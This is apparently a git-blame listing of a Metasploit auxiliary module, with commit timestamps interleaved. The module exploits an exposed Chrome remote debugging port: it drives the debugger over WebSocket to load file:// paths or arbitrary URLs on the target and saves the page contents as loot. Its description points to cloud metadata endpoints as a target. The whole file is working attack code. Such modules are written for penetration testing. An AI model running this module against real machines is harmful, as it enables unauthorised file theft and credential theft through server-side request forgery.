2019-09-25 15:58:34 -05:00
class MetasploitModule < Msf :: Auxiliary
2019-12-05 14:43:46 -06:00
require 'eventmachine'
require 'faye/websocket'
2019-09-25 15:58:34 -05:00
include Msf :: Exploit :: Remote :: HttpClient
2019-12-06 10:35:43 -06:00
2019-09-25 15:58:34 -05:00
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request' ,
'Description' = > %q{
This module uses the Chrome Debugger's API to read
2019-09-25 16:21:27 -05:00
files off the remote file system, or to make web requests
from a remote machine. Useful for cloud metadata endpoints!
2019-09-25 15:58:34 -05:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'Adam Baldwin (Evilpacket)' , # Original ideas, research, proof of concept, and msf module
'Nicholas Starke (The King Pig Demon)' # msf module
] ,
'Privileged' = > false ,
'Targets' = > [
] ,
'DisclosureDate' = > 'Sep 24 2019' ,
'DefaultOptions' = > {
} ,
'DefaultTarget' = > 0
) )
register_options (
[
Opt :: RHOST ,
Opt :: RPORT ( 9222 ) ,
2019-12-12 09:57:10 -06:00
OptString . new ( 'FILEPATH' , [ false , 'File to fetch from remote machine.' ] ) ,
OptString . new ( 'URL' , [ false , 'Url to fetch from remote machine.' ] ) ,
OptInt . new ( 'TIMEOUT' , [ true , 'Time to wait for response' , 10 ] )
2019-09-25 15:58:34 -05:00
]
)
deregister_options ( 'Proxies' )
2019-12-12 09:57:10 -06:00
deregister_options ( 'VHOST' )
deregister_options ( 'SSL' )
2019-09-25 15:58:34 -05:00
end
def run
2019-12-12 09:57:10 -06:00
if ( datastore [ 'FILEPATH' ] . nil? || datastore [ 'FILEPATH' ] . empty? ) && ( datastore [ 'URL' ] . nil? || datastore [ 'URL' ] . empty? )
2019-09-25 15:58:34 -05:00
print_error ( 'Must set FilePath or Url' )
return
end
2019-09-25 16:52:50 -05:00
res = send_request_cgi ( {
'uri' = > '/json' ,
'method' = > 'GET' ,
} )
2019-09-25 15:58:34 -05:00
if res . nil?
print_error ( 'Bad Response' )
else
data = JSON . parse ( res . body ) . pop
EM . run {
2019-12-12 09:57:10 -06:00
file_path = datastore [ 'FILEPATH' ]
url = datastore [ 'URL' ]
2019-09-25 15:58:34 -05:00
if file_path
fetch_uri = " file:// #{ file_path } "
else
fetch_uri = url
end
2019-11-10 15:43:01 -06:00
2019-09-25 15:58:34 -05:00
print_status ( " Attempting Connection to #{ data [ 'webSocketDebuggerUrl' ] } " )
2019-11-10 15:43:01 -06:00
if not data . key? ( 'webSocketDebuggerUrl' )
fail_with ( Failure :: Unknown , " Invalid JSON " )
end
2019-09-25 15:58:34 -05:00
driver = Faye :: WebSocket :: Client . new ( data [ 'webSocketDebuggerUrl' ] )
driver . on :open do | event |
print_status ( 'Opened connection' )
id = rand ( 1024 * 1024 * 1024 )
2019-12-06 10:35:43 -06:00
@succeeded = false
2019-12-05 14:17:30 -06:00
2019-09-25 15:58:34 -05:00
EM :: Timer . new ( 1 ) do
print_status ( " Attempting to load url #{ fetch_uri } " )
driver . send ( {
'id' = > id ,
'method' = > 'Page.navigate' ,
'params' = > {
'url' : fetch_uri ,
}
} . to_json )
end
EM :: Timer . new ( 3 ) do
print_status ( 'Sending request for data' )
driver . send ( {
'id' = > id + 1 ,
'method' = > 'Runtime.evaluate' ,
'params' = > {
'expression' = > 'document.documentElement.outerHTML'
}
} . to_json )
end
end
driver . on :message do | event |
print_status ( " Received Data " )
data = JSON . parse ( event . data )
if data [ 'result' ] [ 'result' ]
2019-12-11 07:35:55 -06:00
loot_path = store_loot ( 'chrome.debugger.resource' , 'text/plain' , rhost , data [ 'result' ] [ 'result' ] [ 'value' ] , fetch_uri , 'Resource Gathered via Chrome Debugger' )
print_good ( " Stored #{ fetch_uri } at #{ loot_path } " )
2019-12-06 10:35:43 -06:00
@succeeded = true
2019-09-25 15:58:34 -05:00
end
end
2019-12-12 09:57:10 -06:00
EM :: Timer . new ( datastore [ 'TIMEOUT' ] ) do
2019-09-25 15:58:34 -05:00
EventMachine . stop
2019-12-06 10:35:43 -06:00
fail_with ( Failure :: Unknown , 'Unknown failure occurred' ) if not @succeeded
2019-09-25 15:58:34 -05:00
end
}
end
end
end